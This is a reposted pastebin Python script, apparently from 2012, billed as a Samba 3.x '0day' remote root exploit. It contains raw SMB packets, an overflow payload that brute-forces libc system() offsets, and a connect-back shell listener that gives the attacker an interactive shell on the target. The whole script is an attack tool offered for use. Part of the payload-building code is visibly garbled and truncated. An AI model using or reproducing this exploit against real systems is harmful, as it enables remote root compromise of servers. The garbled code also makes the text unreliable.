[Python] samba 0day

By: a guest  on Sep 24th, 2012  |  syntax: Python  |  size: 6.92 KB  |  hits: 3,930  |  expires: Never

#!/usr/bin/python
#
# finding targets 4 31337z:
# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'`  to get system_libc_addr, enter this value in the 'system_libc_offset' value of the target_finder, run, sit back, wait for shell
# found by eax samba 0day godz (loljk)


from binascii import hexlify, unhexlify
import socket
import threading
import SocketServer
import sys
import os
import time
import struct

targets = [
	{
		"name"               : "samba_3.6.3-debian6",
		"chunk_offset"       : 0x9148,
		"system_libc_offset" : 0xb6d003c0
	},
	{
		"name"               : "samba_3.5.11~dfsg-1ubuntu2.1_i386 (oneiric)",
		"chunk_offset"       : 4560,
		"system_libc_offset" : 0xb20
	},
	{
		"name"               : "target_finder (hardcode correct system addr)",
		"chunk_offset"       : 0,
		"system_libc_offset" : 0xb6d1a3c0,
		"finder": True
	}
]

do_brute = True
rs = 1024
FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])

def dump(src, length=32):
	result=[]
	for i in xrange(0, len(src), length):
		s = src[i:i+length]
		hexa = ' '.join(["%02x"%ord(x) for x in s])
		printable = s.translate(FILTER)
		result.append("%04x   %-*s   %sn" % (i, length*3, hexa, printable))
	return ''.join(result)


sploitshake = [
	# HELLO
	"8100004420434b4644454e4543464445" + 
	"46464346474546464343414341434143" + 
	"41434143410020454745424644464545" + 
	"43455046494341434143414341434143" + 
	"4143414341414100",

	# NTLM_NEGOT
	"0000002fff534d427200000000000000" + 
	"00000000000000000000000000001d14" + 
	"00000000000c00024e54204c4d20302e" + 
	"313200",

	# SESSION_SETUP
	"0000004bff534d427300000000080000" + 
	"000000000000000000000000ffff1d14" + 
	"000000000dff000000ffff02001d1499" + 
	"1f00000000000000000000010000000e" + 
	"000000706f736978007079736d6200",

	# TREE_CONNECT
	"00000044ff534d427500000000080000" + 
	"000000000000000000000000ffff1d14" + 
	"6400000004ff00000000000100190000" + 
	"5c5c2a534d425345525645525c495043" + 
	"24003f3f3f3f3f00",

	# NT_CREATE
	"00000059ff534d42a200000000180100" + 
	"00000000000000000000000001001d14" + 
	"6400000018ff00000000050016000000" + 
	"000000009f0102000000000000000000" + 
	"00000000030000000100000040000000" + 
	"020000000306005c73616d7200"
]

pwnsauce = {
	'smb_bind': 
		"00000092ff534d422500000000000100" + 
		"00000000000000000000000001001d14" + 
		"6400000010000048000004e0ff000000" + 
		"0000000000000000004a0048004a0002" + 
		"002600babe4f005c504950455c000500" + 
		"0b03100000004800000001000000b810" + 
		"b8100000000001000000000001007857" + 
		"34123412cdabef000123456789ab0000" + 
		"0000045d888aeb1cc9119fe808002b10" + 
		"486002000000",

	'data_chunk': 
		"000010efff534d422f00000000180000" + 
		"00000000000000000000000001001d14" + 
		"640000000eff000000babe00000000ff" + 
		"0000000800b0100000b0103f00000000" + 
		"00b0100500000110000000b010000001" + 
		"0000009810000000000800",

	'final_chunk': 
		"000009a3ff534d422f00000000180000" + 
		"00000000000000000000000001001d14" + 
		"640000000eff000000babe00000000ff" + 
		"00000008006409000064093f00000000" + 
		"00640905000002100000006409000001" + 
		"0000004c09000000000800"
}


def exploit(host, port, cbhost, cbport, target):
	global sploitshake, pwnsauce

	chunk_size = 4248

	target_tcp = (host, port)

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(target_tcp)

	n = 0
	for pkt in sploitshake:
		s.send(unhexlify(pkt))
		pkt_res = s.recv(rs)
		n = n+1

	fid = hexlify(pkt_res[0x2a] + pkt_res[0x2b])

	s.send(unhexlify(pwnsauce['smb_bind'].replace("babe", fid)))
	pkt_res = s.recv(rs)

	buf = "X"*20  # policy handle
	level = 2 #LSA_POLICY_INFO_AUDIT_EVENTS
	buf+=struct.pack('count
	buf+=struct.pack('&0 2>&0' &x00"

	tmp = cmd*(816/len(cmd))
	tmp += "x00"*(816-len(tmp))

	buf+=tmp
	buf+="A"*(37192-target['chunk_offset'])
	buf+='z'*(100000 - (28000 + 10000))

	buf_chunks = [buf[x:x+chunk_size] for x in xrange(0, len(buf), chunk_size)]
	n=0

	for chunk in buf_chunks:
		if len(chunk) != chunk_size:
			#print "LAST CHUNK #%d" % n
			bb = unhexlify(pwnsauce['final_chunk'].replace("babe", fid)) + chunk
			s.send(bb)
		else:
			#print "CHUNK #%d" % n
			bb = unhexlify(pwnsauce['data_chunk'].replace("babe", fid)) + chunk
			s.send(bb)
			retbuf = s.recv(rs)
		n=n+1

	s.close()

class connectback_shell(SocketServer.BaseRequestHandler):
	def handle(self):
		global do_brute

		print "n[!] connectback shell from %s" % self.client_address[0]
		do_brute = False

		s = self.request

		import termios, tty, select, os
		old_settings = termios.tcgetattr(0)
		try:
			tty.setcbreak(0)
			c = True
			while c:
				for i in select.select([0, s.fileno()], [], [], 0)[0]:
					c = os.read(i, 1024)
					if c:
						if i == 0:
							os.write(1, c)

						os.write(s.fileno() if i == 0 else 1, c)
		except KeyboardInterrupt: pass
		finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)

		return
		

class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
	pass


if len(sys.argv) != 6:
	print "n  {*} samba 3.x remote root by kd(eax)@ireleaseyourohdayfuckyou {*}n"
	print "  usage: %s n" % (sys.argv[0])
	print "  targets:"
	i = 0
	for target in targets:
		print "    %02d) %s" % (i, target['name'])
		i = i+1

	print ""
	sys.exit(-1)


target = targets[int(sys.argv[5])]

server = ThreadedTCPServer((sys.argv[3], int(sys.argv[4])), connectback_shell)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()

while do_brute == True:
	sys.stdout.write("r{+} TRYING EIP=x1b[31m0x%08xx1b[0m OFFSET=x1b[32m0x%08xx1b[0m" % (target['system_libc_offset'], target['chunk_offset']))
	sys.stdout.flush()
	exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], target)

	if "finder" in target:
		target['chunk_offset'] += 4
	else:
		target['system_libc_offset'] += 0x1000


if "finder" in target:
	print 
		"{!} found x1b[32mNEWx1b[0m target: chunk_offset = ~%d, " 
		"system_libc_offset = 0x%03x" % 
		(target['chunk_offset'], target['system_libc_offset'] & 0xff000fff)

while 1:
	time.sleep(999)

server.shutdown()

From: http://pastebin.com/AwpsBWVQ

文章来源于lcx.cc:[Python] samba 0day

相关推荐: 64K 数字动画影像之王：德国“Farbrausch”

核总点评： 著名3D即时演算动画，德国“Farbrausch”团队。 其实这个组织我很早就知道了，从我在刚接触电脑的时候就看过他们的动画。但是那时候并不知道这个组织，当时国内研究的人也比较少，很少人知道德国这个“Farbrausch”团队（现在知道的人依然很少…